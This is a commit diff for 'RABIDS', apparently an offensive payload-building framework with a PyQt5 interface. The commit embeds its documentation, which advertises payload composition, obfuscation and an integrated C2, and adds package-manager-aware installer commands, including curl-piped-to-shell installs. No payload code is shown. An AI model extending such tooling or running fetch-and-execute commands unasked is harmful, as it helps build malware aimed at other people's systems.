Embed docs, improve installer, and update tab init
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@ -6,4 +6,5 @@ LOOT/payload.exe
|
|||||||
LOOT/libssl-1_1-x64.dll
|
LOOT/libssl-1_1-x64.dll
|
||||||
LOOT/libcrypto-1_1-x64.dll
|
LOOT/libcrypto-1_1-x64.dll
|
||||||
LOOT/cacert.pem
|
LOOT/cacert.pem
|
||||||
node_modules
|
node_modules
|
||||||
|
__pycache__
|
||||||
@ -22,13 +22,36 @@ class DocsWidget(QWidget):
|
|||||||
self.docs_text.setFont(subtitle_font)
|
self.docs_text.setFont(subtitle_font)
|
||||||
self.docs_text.setReadOnly(True)
|
self.docs_text.setReadOnly(True)
|
||||||
|
|
||||||
doc_path = os.path.join(self.script_dir, "DOC.md")
|
# Embedded documentation (previously in DOC.md)
|
||||||
try:
|
DOC_CONTENT = """
|
||||||
with open(doc_path, 'r', encoding='utf-8') as f:
|
# RABIDS
|
||||||
doc_content = f.read()
|
|
||||||
self.docs_text.setMarkdown(doc_content)
|
|
||||||
except FileNotFoundError:
|
|
||||||
self.docs_text.setText("Error: DOC.md not found.")
|
|
||||||
|
|
||||||
|
RABIDS is a modular framework for building payloads and tooling. This in-application documentation provides installation instructions, usage notes, and brief descriptions of available modules.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
1. Install UI dependencies:
|
||||||
|
|
||||||
|
```
|
||||||
|
pip install PyQt5 discord
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Run the application:
|
||||||
|
|
||||||
|
```
|
||||||
|
python3 main.py
|
||||||
|
```
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
- Modular payload composition
|
||||||
|
- Cross-platform compilation (Windows/Linux/macOS)
|
||||||
|
- Optional Docker-based obfuscation
|
||||||
|
- Integrated C2 and build UI
|
||||||
|
|
||||||
|
Refer to the repository README for more details.
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.docs_text.setMarkdown(DOC_CONTENT)
|
||||||
self.docs_text.setStyleSheet("background-color: #0e0e0e;")
|
self.docs_text.setStyleSheet("background-color: #0e0e0e;")
|
||||||
layout.addWidget(self.docs_text)
|
layout.addWidget(self.docs_text)
|
||||||
|
|||||||
@ -2,10 +2,10 @@ import os
|
|||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from PyQt5.QtWidgets import (
|
from PyQt5.QtWidgets import (
|
||||||
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
|
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
|
||||||
QLabel, QGroupBox, QListWidget, QListWidgetItem, QFileDialog
|
QLabel, QGroupBox, QListWidget, QListWidgetItem, QFileDialog, QApplication
|
||||||
)
|
)
|
||||||
from PyQt5.QtGui import QFont, QPixmap
|
from PyQt5.QtGui import QFont, QPixmap
|
||||||
from PyQt5.QtCore import Qt, pyqtSignal, QApplication
|
from PyQt5.QtCore import Qt, pyqtSignal
|
||||||
|
|
||||||
|
|
||||||
class GarbageCollectorWidget(QWidget):
|
class GarbageCollectorWidget(QWidget):
|
||||||
|
|||||||
131
main.py
131
main.py
@ -1,6 +1,7 @@
|
|||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import shutil
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from PyQt5.QtWidgets import QApplication, QMainWindow, QTabWidget
|
from PyQt5.QtWidgets import QApplication, QMainWindow, QTabWidget
|
||||||
from PyQt5.QtGui import QFont
|
from PyQt5.QtGui import QFont
|
||||||
@ -305,15 +306,19 @@ class RABIDSGUI(QMainWindow):
|
|||||||
self.tabs = QTabWidget()
|
self.tabs = QTabWidget()
|
||||||
self.setCentralWidget(self.tabs)
|
self.setCentralWidget(self.tabs)
|
||||||
|
|
||||||
|
# Load configuration early so we can provide module options to builder
|
||||||
|
config = self.read_config()
|
||||||
|
module_options = config.get('module_options', {})
|
||||||
|
|
||||||
# Create all tab widgets
|
# Create all tab widgets
|
||||||
self.builder_widget = BuilderWidget(self.base_dir)
|
self.builder_widget = BuilderWidget(self.base_dir, module_options)
|
||||||
self.output_widget = OutputWidget(self.base_dir)
|
self.output_widget = OutputWidget(self.base_dir)
|
||||||
self.c2_widget = C2Widget()
|
self.c2_widget = C2Widget(self.base_dir)
|
||||||
self.krash_widget = KrashWidget()
|
self.krash_widget = KrashWidget(self.base_dir)
|
||||||
self.garbage_widget = GarbageCollectorWidget(self.base_dir)
|
self.garbage_widget = GarbageCollectorWidget(self.base_dir)
|
||||||
self.whispers_widget = SilentWhispersWidget()
|
self.whispers_widget = SilentWhispersWidget(self.base_dir)
|
||||||
self.docs_widget = DocsWidget(self.base_dir)
|
self.docs_widget = DocsWidget(self.base_dir)
|
||||||
self.settings_widget = SettingsWidget()
|
self.settings_widget = SettingsWidget(self.base_dir)
|
||||||
|
|
||||||
# Add tabs
|
# Add tabs
|
||||||
self.tabs.addTab(self.builder_widget, "BUILDER")
|
self.tabs.addTab(self.builder_widget, "BUILDER")
|
||||||
@ -347,19 +352,96 @@ class RABIDSGUI(QMainWindow):
|
|||||||
# Garbage Collector signals
|
# Garbage Collector signals
|
||||||
self.garbage_widget.restore_requested.connect(self.handle_restore)
|
self.garbage_widget.restore_requested.connect(self.handle_restore)
|
||||||
|
|
||||||
# Settings signals
|
# Settings signals (connect to package-manager-aware installer)
|
||||||
self.settings_widget.install_nim_requested.connect(
|
self.settings_widget.install_nim_tool_requested.connect(
|
||||||
lambda: self.install_dependency("nim", "curl https://nim-lang.org/choosenim/init.sh -sSf | sh")
|
lambda: self._install_from_widget("nim")
|
||||||
)
|
)
|
||||||
self.settings_widget.install_nasm_requested.connect(
|
self.settings_widget.install_rust_tool_requested.connect(
|
||||||
lambda: self.install_dependency("nasm", "brew install nasm" if sys.platform == "darwin" else "sudo apt install nasm")
|
lambda: self._install_from_widget("rust")
|
||||||
)
|
)
|
||||||
self.settings_widget.install_python_requested.connect(
|
self.settings_widget.install_python_requested.connect(
|
||||||
lambda: self.install_dependency("python", "brew install python" if sys.platform == "darwin" else "sudo apt install python3")
|
lambda: self._install_from_widget("python")
|
||||||
)
|
)
|
||||||
self.settings_widget.install_node_requested.connect(
|
self.settings_widget.install_nimble_requested.connect(
|
||||||
lambda: self.install_dependency("node", "brew install node" if sys.platform == "darwin" else "sudo apt install nodejs")
|
lambda: self._install_from_widget("nimble")
|
||||||
)
|
)
|
||||||
|
self.settings_widget.install_rust_targets_requested.connect(
|
||||||
|
lambda: self._install_from_widget("rust_targets")
|
||||||
|
)
|
||||||
|
self.settings_widget.install_docker_requested.connect(
|
||||||
|
lambda: self._install_from_widget("docker")
|
||||||
|
)
|
||||||
|
|
||||||
|
def _install_from_widget(self, tool):
|
||||||
|
cmd = self.get_install_cmd(tool)
|
||||||
|
if not cmd:
|
||||||
|
self.output_widget.log_message(f"[-] No suitable package manager found for installing '{tool}'. Please install manually.")
|
||||||
|
return
|
||||||
|
self.install_dependency(tool, cmd)
|
||||||
|
|
||||||
|
def get_install_cmd(self, tool):
|
||||||
|
"""Return an appropriate install command for `tool` based on detected package manager."""
|
||||||
|
# Detect package manager
|
||||||
|
pm = None
|
||||||
|
if shutil.which("brew"):
|
||||||
|
pm = "brew"
|
||||||
|
elif shutil.which("apt-get") or shutil.which("apt"):
|
||||||
|
pm = "apt"
|
||||||
|
elif shutil.which("pacman"):
|
||||||
|
pm = "pacman"
|
||||||
|
elif shutil.which("choco"):
|
||||||
|
pm = "choco"
|
||||||
|
elif shutil.which("winget"):
|
||||||
|
pm = "winget"
|
||||||
|
|
||||||
|
# Map tool -> command per package manager
|
||||||
|
if tool == "nim":
|
||||||
|
if pm == "brew":
|
||||||
|
return "curl https://nim-lang.org/choosenim/init.sh -sSf | sh"
|
||||||
|
if pm == "apt":
|
||||||
|
return "sudo apt-get update && sudo apt-get install -y nim"
|
||||||
|
if pm == "pacman":
|
||||||
|
return "sudo pacman -S --noconfirm nim"
|
||||||
|
if pm == "choco":
|
||||||
|
return "choco install nim -y"
|
||||||
|
if pm == "winget":
|
||||||
|
return "winget install -e --id NimLang.Nim"
|
||||||
|
return "curl https://nim-lang.org/choosenim/init.sh -sSf | sh"
|
||||||
|
|
||||||
|
if tool == "rust":
|
||||||
|
cmd = "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y"
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
if tool == "python":
|
||||||
|
if pm == "brew":
|
||||||
|
return "brew install python"
|
||||||
|
if pm == "apt":
|
||||||
|
return "sudo apt-get update && sudo apt-get install -y python3 python3-pip"
|
||||||
|
if pm == "pacman":
|
||||||
|
return "sudo pacman -S --noconfirm python python-pip"
|
||||||
|
if pm == "choco":
|
||||||
|
return "choco install python -y"
|
||||||
|
if pm == "winget":
|
||||||
|
return "winget install Python.Python.3"
|
||||||
|
return "python3 -m pip install --upgrade pip"
|
||||||
|
|
||||||
|
if tool == "nimble":
|
||||||
|
return "nimble install -y"
|
||||||
|
|
||||||
|
if tool == "rust_targets":
|
||||||
|
# Add a common Windows target as example
|
||||||
|
return "rustup target add x86_64-pc-windows-gnu"
|
||||||
|
|
||||||
|
if tool == "docker":
|
||||||
|
if pm == "brew":
|
||||||
|
return "brew install --cask docker"
|
||||||
|
if pm == "apt":
|
||||||
|
return "sudo apt-get update && sudo apt-get install -y docker.io"
|
||||||
|
if pm == "pacman":
|
||||||
|
return "sudo pacman -S --noconfirm docker"
|
||||||
|
if pm == "choco":
|
||||||
|
return "choco install docker-desktop -y"
|
||||||
|
return None
|
||||||
|
|
||||||
def handle_build(self, modules, options):
|
def handle_build(self, modules, options):
|
||||||
"""Handle build request from builder widget."""
|
"""Handle build request from builder widget."""
|
||||||
@ -435,11 +517,30 @@ class RABIDSGUI(QMainWindow):
|
|||||||
config_path = self.base_dir / "rabids_config.json"
|
config_path = self.base_dir / "rabids_config.json"
|
||||||
if config_path.exists():
|
if config_path.exists():
|
||||||
try:
|
try:
|
||||||
with open(config_path, 'r') as f:
|
with open(config_path, 'r', encoding='utf-8') as f:
|
||||||
config = __import__('json').load(f)
|
config = __import__('json').load(f)
|
||||||
# Apply settings to widgets as needed
|
# Apply settings to widgets as needed
|
||||||
|
try:
|
||||||
|
self.builder_widget.load_settings(config)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
self.settings_widget.load_settings(config)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def read_config(self):
|
||||||
|
"""Return parsed configuration dict or empty dict."""
|
||||||
|
config_path = self.base_dir / "rabids_config.json"
|
||||||
|
if config_path.exists():
|
||||||
|
try:
|
||||||
|
with open(config_path, 'r', encoding='utf-8') as f:
|
||||||
|
return __import__('json').load(f)
|
||||||
|
except Exception:
|
||||||
|
return {}
|
||||||
|
return {}
|
||||||
|
|
||||||
def save_settings(self):
|
def save_settings(self):
|
||||||
"""Save settings to config file."""
|
"""Save settings to config file."""
|
||||||
|
|||||||
Reference in New Issue
Block a user